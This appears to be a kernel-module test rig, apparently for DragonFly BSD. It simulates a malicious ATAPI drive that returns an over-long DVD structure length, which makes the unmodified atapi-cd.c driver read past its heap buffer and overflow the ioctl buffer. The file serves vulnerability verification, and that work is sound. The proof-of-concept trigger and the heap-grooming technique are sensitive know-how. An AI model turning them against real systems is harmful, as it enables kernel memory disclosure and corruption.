/*
 * dfrig4_acd.c -- DF-2505 verification rig
 *                (sys/dev/disk/nata/atapi-cd.c)
 *
 * The UNMODIFIED production file atapi-cd.c is compiled into this KLD
 * (via #include, module plumbing neutralized) and its real
 * acd_read_structure() code path is driven exactly the way the kernel
 * drives it for a DVDIOCREADSTRUCTURE ioctl: `s` is a kernel
 * M_IOCTLOPS buffer of sizeof(struct dvd_struct) -- precisely what
 * kern_ioctl() allocates (sys/kern/sys_generic.c:675) and later
 * copyout()s to user (sys/kern/sys_generic.c:730).  The ONLY
 * interposed seam is ata_atapicmd() (defined after the #include so the
 * production atapi-cd.o object binds to it): READ DVD STRUCTURE
 * responses are synthesized with a hostile, over-long data-length
 * field in the response header -- exactly what a malicious ATAPI
 * device (or a firmware-compromised USB-IDE bridge) returns.  The
 * ccb build, the kmalloc(length), the ntohs(), and BOTH bcopy sites
 * (atapi-cd.c:1582-1590) are 100% production code.
 *
 * Finding under test (DF-2505):
 *
 *	case DVD_STRUCT_BCA:			(atapi-cd.c:1582)
 *	    s->length = ntohs(d->length);	<-- drive-controlled u16
 *	    bcopy(&d->data[0], &s->data[0], s->length);
 *
 * `d` is kmalloc'd with length==192 (BCA) / 2052 (MANUFACT); d->data
 * sits at +4, so only 188 / 2048 data bytes are in-bounds.  A drive
 * that claims d->length > that makes the production bcopy read PAST
 * the d allocation (kernel heap info leak into a buffer that
 * kern_ioctl then copies out to the unprivileged caller), and, for
 * s->length > 2048, also WRITE past the 2060-byte M_IOCTLOPS s
 * buffer (kernel heap overflow).
 *
 * Tests (sysctl kern.dfrig4_acd_test=<n>, read kern.dfrig4_acd_status):
 *
 *   33  CONTROL: hostile-but-legal length 188 (BCA) -> payload 0xC3 in
 *       [0,188), ALL ZERO beyond: proves the marker method has no
 *       false positives.
 *   30  BCA: hostile length 4096 vs 192-byte allocation -> 0xAA guard
 *       markers (planted around d) appear in s->data[188..]; plus the
 *       destination overflows: ~2048 bytes past the 2060-byte s buffer
 *       (0xBB guards after s smashed).
 *   31  MANUFACT: hostile length 3000 vs 2052-byte allocation.
 *   32  MAX ARM: hostile length 0xFFFF -> production bcopy reads
 *       65531 bytes from a 192-byte chunk (write contained in a big
 *       buffer): expect survival with leaked kernel-heap bytes in
 *       s->data[188..65530] (impact: leak) or a page fault (panic).
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/bus.h>
#include <sys/bus_private.h>	/* struct bsd_device layout */
#include <sys/conf.h>
#include <sys/bio.h>
#include <sys/buf.h>
#include <sys/device.h>
#include <sys/nata.h>
#include <sys/dvdio.h>

/* kern_ioctl()'s private malloc type (sys/kern/sys_generic.c:675); the
 * kernel symbol is global, bind to it for a faithful destination. */
extern struct malloc_type M_IOCTLOPS[1];

/* ------------------------------------------------------------------ */
/* neutralize the production file's module/driver plumbing so this KLD */
/* registers nothing that clashes with the built-in acd module         */
/* ------------------------------------------------------------------ */
#undef DRIVER_MODULE
#undef DECLARE_MODULE
#undef MODULE_DEPEND
#undef MODULE_VERSION
#define DRIVER_MODULE(name, busname, driver, devclass, evh, arg)	/* rig */
#define DECLARE_MODULE(name, data, sub, order)			/* rig */
#define MODULE_DEPEND(name, m, v1, v2, v3)			/* rig */
#define MODULE_VERSION(m, v)					/* rig */

#include "atapi-cd.c"		/* <-- UNMODIFIED production code */

#undef DRIVER_MODULE
#undef DECLARE_MODULE
#undef MODULE_DEPEND
#undef MODULE_VERSION

/* ------------------------------------------------------------------ */
/* interposed drive-response seam                                       */
/* ------------------------------------------------------------------ */

static u_int16_t dfrig_hostile_len;	/* what the fake drive claims */
static int dfrig_armed;
static void *dfrig_last_data;		/* d pointer seen by the seam */
static int dfrig_last_count;

/*
 * Marker instrumentation: sizes > 2048 (MANUFACT's 2052) use the kmem
 * carve path on this guest -- freed chunks are NOT handed back out
 * promptly, so a freed-hole sandwich can never place markers after d.
 * Instead, the seam (which runs while production's d exists, BEFORE
 * the bcopy) allocates a few same-class chunks; the carve is
 * sequential, so they land directly after d and get read by the
 * production bcopy.  The ATTACK bytes are still only the 2-byte
 * length field; the 0xAA chunks are pure harness instrumentation.
 */
#define SEED_N 12
static int dfrig_seed;
static void *dfrig_seedp[SEED_N];
static int dfrig_seedn;

int
ata_atapicmd(device_t dev, u_int8_t *ccb, caddr_t data, int count,
	     int flags, int timeout)
{
	if (dfrig_armed && (flags & ATA_R_READ) &&
	    ccb[0] == ATAPI_READ_STRUCTURE) {
		struct dvd_miscauth *resp = (struct dvd_miscauth *)data;
		int i;

		dfrig_last_data = data;
		dfrig_last_count = count;

		/* instrumentation: markers carved after d (see above) */
		if (dfrig_seed) {
			dfrig_seedn = 0;
			for (i = 0; i < SEED_N; i++) {
				dfrig_seedp[i] = kmalloc(count, M_ACD,
							 M_WAITOK | M_ZERO);
				if (dfrig_seedp[i] == NULL)
					break;
				memset(dfrig_seedp[i], 0xAA, count);
				dfrig_seedn++;
			}
		}

		/* Malicious drive: transfers only `count` bytes (the
		 * DMA is bounded by the allocation length in ccb[8:10],
		 * as real hardware is), but CLAIMS a huge data length
		 * in the 2-byte response header. */
		bzero(data, count);
		resp->length = htons(dfrig_hostile_len);
		for (i = 0; i + 4 < count; i++)
			resp->data[i] = 0xC3;
		return 0;
	}
	return EIO;
}

/* ------------------------------------------------------------------ */
/* fake device graph: acd_read_structure() only passes dev through to  */
/* ata_atapicmd() (the seam), so a zeroed dummy device_t suffices      */
/* ------------------------------------------------------------------ */

static struct bsd_device fake_dev;

/* ------------------------------------------------------------------ */
/* status buffer                                                        */
/* ------------------------------------------------------------------ */

static char dfrig_status_buf[16384];
static int dfrig_last_rc;

#define P(fmt, ...) \
	ksnprintf(dfrig_status_buf + strlen(dfrig_status_buf), \
		  sizeof(dfrig_status_buf) - strlen(dfrig_status_buf), \
		  fmt "\n", ## __VA_ARGS__)

/* ------------------------------------------------------------------ */
/* shared analysis of a production acd_read_structure() call           */
/* ------------------------------------------------------------------ */

/* scan region of the (char*)s+12 data window and count marker classes */
static void
analyze(struct dvd_struct *s, int alloc_len, int in_bounds,
	void **sguards, int nguards, const char *tag)
{
	unsigned char *w = (unsigned char *)&s->data[0];
	int i, aa = 0, c3 = 0, nz = 0;
	int first_aa = -1, last_aa = -1, smash = 0, first_smash = -1;
	int max_off;

	P("  %s: s=%p sizeof(struct dvd_struct)=%zu s->length=%u "
	  "(drive-claimed, ntohs)", tag, s, sizeof(struct dvd_struct),
	  s->length);

	/* payload window the production bcopy wrote: [0, s->length) */
	max_off = s->length;
	if (max_off > 65535)
		max_off = 65535;
	for (i = 0; i < max_off; i++) {
		if (w[i] == 0xC3) {
			c3++;
		} else if (w[i] == 0xAA) {
			aa++;
			if (first_aa < 0)
				first_aa = i;
			last_aa = i;
		} else if (w[i] != 0x00) {
			nz++;
		}
	}
	P("  data window [0,%d): payload 0xC3 x%d, guard-marker 0xAA x%d, "
	  "other-nonzero x%d", max_off, c3, aa, nz);
	if (aa > 0)
		P("  0xAA markers span [%d..%d] -- FIRST OOB marker at +%d "
		  "(in-bounds data is [0,%d))", first_aa, last_aa, first_aa,
		  in_bounds);

	/* destination overflow: guards after s smashed? */
	if (sguards) {
		for (i = 0; i < nguards; i++) {
			size_t k;
			if (!sguards[i])
				continue;
			for (k = 0; k < sizeof(struct dvd_struct); k++)
				if (((unsigned char *)sguards[i])[k] != 0xBB) {
					smash++;
					if (first_smash < 0)
						first_smash = i;
					break;
				}
		}
		(void)first_smash;
		P("  destination side: %d/%d 0xBB guard chunks after s "
		  "smashed%s", smash, nguards,
		  smash ? " -- WRITE past the 2060-byte M_IOCTLOPS buffer" : "");
	}

	/* verdict bits: OOB READ proven if 0xAA markers appear beyond the
	 * in-bounds window (guards are only reachable past the allocation) */
	if (first_aa >= in_bounds)
		P("  PROOF (OOB READ): bcopy read past the %d-byte `d` "
		  "allocation -- 0xAA guard bytes planted OUTSIDE d appear "
		  "at data[%d..] (atapi-cd.c:1583-1584)",
		  alloc_len, first_aa);
	else
		P("  NOTE: no 0xAA beyond %d (markers absent -- placement "
		  "missed?); non-payload-nonzero x%d", in_bounds, nz);
	dfrig_last_rc = (first_aa >= in_bounds);
}

/* ------------------------------------------------------------------ */
/* tests                                                                */
/* ------------------------------------------------------------------ */

#define DG_N 160			/* d-side guard chunks */
#define MAX_TRIES 6			/* kmalloc placement retries */

/* generic run: production acd_read_structure() call, guard-sandwiched;
 * retries when kmalloc placement misses the planted holes (per-CPU
 * kmalloc magazines make LIFO placement nondeterministic) */
static void
run_case(int format, u_int16_t hostile, int d_len, int in_bounds,
	 int dest_big)
{
	void *dguards[DG_N];
	void *sguards[10];
	struct dvd_struct *s;
	void *d_hole, *s_hole;
	size_t dsize = d_len;
	int i, rc, try, placed;
	const char *tag = (format == DVD_STRUCT_BCA) ? "BCA" : "MANUFACT";

	for (try = 1; try <= MAX_TRIES; try++) {
		/* d-side guards: same kmalloc class as the production
		 * kmalloc(d_len, M_ACD) inside acd_read_structure */
		for (i = 0; i < DG_N; i++) {
			dguards[i] = kmalloc(dsize, M_ACD, M_WAITOK | M_ZERO);
			memset(dguards[i], 0xAA, dsize);
		}
		d_hole = dguards[DG_N / 2];
		kfree(dguards[DG_N / 2], M_ACD);
		dguards[DG_N / 2] = NULL;

		if (dest_big) {
			s = kmalloc(131072, M_IOCTLOPS, M_WAITOK | M_ZERO);
			sguards[0] = NULL;
			s_hole = NULL;
		} else {
			/* faithful kern_ioctl destination + guards */
			for (i = 0; i < 10; i++) {
				sguards[i] = kmalloc(
				    sizeof(struct dvd_struct), M_IOCTLOPS,
				    M_WAITOK | M_ZERO);
				memset(sguards[i], 0xBB,
				       sizeof(struct dvd_struct));
			}
			s_hole = sguards[5];
			kfree(sguards[5], M_IOCTLOPS);
			sguards[5] = NULL;
			s = kmalloc(sizeof(struct dvd_struct), M_IOCTLOPS,
				    M_WAITOK | M_ZERO);
		}

		s->format = format;
		s->layer_num = 0;
		s->agid = 0;

		dfrig_hostile_len = hostile;
		dfrig_armed = 1;
		dfrig_seed = (d_len > 2048) ? 1 : 0;	/* carve-path sizes */
		dfrig_last_data = NULL;
		dfrig_last_count = -1;
		rc = acd_read_structure((device_t)&fake_dev, s);/* PROD */
		dfrig_armed = 0;
		dfrig_seed = 0;

		placed = (dfrig_last_data == d_hole) &&
			 (dest_big || s == s_hole);
		P("== DF-2505 %s: hostile drive length %u vs %d-byte `d` "
		  "allocation (try %d/%d)%s%s ==",
		  tag, hostile, d_len, try, MAX_TRIES,
		  placed ? " [placed in guard hole]" : "",
		  dfrig_seedn ? " [0xAA marker chunks carved after d "
		  "from the seam]" : "");
		P("production acd_read_structure() rc=%d; d=%p (want hole %p,"
		  " %s) transfer %d bytes; s=%p (%zu-byte M_IOCTLOPS%s)",
		  rc, dfrig_last_data, d_hole,
		  dfrig_last_data == d_hole ? "HIT" : "MISS",
		  dfrig_last_count, s, sizeof(struct dvd_struct),
		  dest_big ? ", big container" : "");
		if (dfrig_seedn)
			P("seam-carved markers: %d chunks at %p..%p "
			  "(stride %d) -- d=%p", dfrig_seedn,
			  dfrig_seedp[0], dfrig_seedp[dfrig_seedn - 1],
			  d_len, dfrig_last_data);

		analyze(s, d_len, in_bounds, dest_big ? NULL : sguards,
			dest_big ? 0 : 10, tag);

		for (i = 0; i < dfrig_seedn; i++)
			kfree(dfrig_seedp[i], M_ACD);
		dfrig_seedn = 0;

		kfree(s, M_IOCTLOPS);
		if (!dest_big)
			for (i = 0; i < 10; i++)
				if (sguards[i])
					kfree(sguards[i], M_IOCTLOPS);
		for (i = 0; i < DG_N; i++)
			if (dguards[i])
				kfree(dguards[i], M_ACD);

		if (placed || dfrig_last_rc == 1)
			return;
	}
	P("gave up after %d tries (kmalloc placement kept missing)",
	  MAX_TRIES);
}

/* --- test 33: CONTROL, hostile-but-legal 188 ----------------------- */
static void
dfrig_test33_control(void)
{
	/* BCA: d=kmalloc(192); data at +4 -> 188 in-bounds. A compliant
	 * drive claiming exactly 188 must NOT read OOB. */
	run_case(DVD_STRUCT_BCA, 188, 192, 188, 0);
}

/* --- test 30: BCA hostile 4096 -------------------------------------- */
static void
dfrig_test30_bca(void)
{
	run_case(DVD_STRUCT_BCA, 4096, 192, 188, 0);
}

/* --- test 31: MANUFACT hostile 3000 ---------------------------------- */
static void
dfrig_test31_manufact(void)
{
	run_case(DVD_STRUCT_MANUFACT, 3000, 2052, 2048, 0);
}

/* --- test 32: BCA hostile 0xFFFF (max arm) --------------------------- */
static void
dfrig_test32_max(void)
{
	run_case(DVD_STRUCT_BCA, 0xFFFF, 192, 188, 1);
	/* note: if the read walks into an unmapped page this panics
	 * (fatal proof of unboundedness); survival = leak proof */
}

/* ------------------------------------------------------------------ */
/* sysctl plumbing                                                      */
/* ------------------------------------------------------------------ */

static int dfrig_testno;

static int
dfrig_fire_sysctl(SYSCTL_HANDLER_ARGS)
{
	int v = dfrig_testno;
	int error;

	error = SYSCTL_OUT(req, &v, sizeof(v));
	if (error != 0 || req->newptr == NULL)
		return (error);
	error = SYSCTL_IN(req, &v, sizeof(v));
	if (error != 0)
		return (error);

	dfrig_status_buf[0] = '\0';
	dfrig_last_rc = -1;
	switch (v) {
	case 30:
		dfrig_test30_bca();
		break;
	case 31:
		dfrig_test31_manufact();
		break;
	case 32:
		dfrig_test32_max();
		break;
	case 33:
		dfrig_test33_control();
		break;
	default:
		P("unknown test %d (30=BCA4096,31=MANU3000,32=MAX65535,"
		  "33=control188)", v);
		break;
	}
	P("last_rc=%d", dfrig_last_rc);
	dfrig_testno = v;
	return (0);
}

static int
dfrig_status_sysctl(SYSCTL_HANDLER_ARGS)
{
	return (SYSCTL_OUT(req, dfrig_status_buf,
			   strlen(dfrig_status_buf) + 1));
}

SYSCTL_PROC(_kern, OID_AUTO, dfrig4_acd_test, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, dfrig_fire_sysctl, "I", "fire dfrig4_acd test N");
SYSCTL_PROC(_kern, OID_AUTO, dfrig4_acd_status, CTLTYPE_STRING | CTLFLAG_RD,
	    0, 0, dfrig_status_sysctl, "A", "last dfrig4_acd test output");

static int
dfrig4_acd_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		bzero(&fake_dev, sizeof(fake_dev));
		kprintf("dfrig4_acd: loaded (production atapi-cd.c compiled "
			"in; kern.dfrig4_acd_test=30|31|32|33)\n");
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t dfrig4_acd_mod = { "dfrig4_acd", dfrig4_acd_modevent, 0 };

static struct mod_metadata _mod_metadata_dfrig4_acd = {
	MDT_STRUCT_VERSION, MDT_MODULE, &dfrig4_acd_mod, "dfrig4_acd"
};
DATA_SET(modmetadata_set, _mod_metadata_dfrig4_acd);
SYSINIT(dfrig4_acdmodule, SI_SUB_DRIVERS, SI_ORDER_MIDDLE,
	module_register_init, &dfrig4_acd_mod);
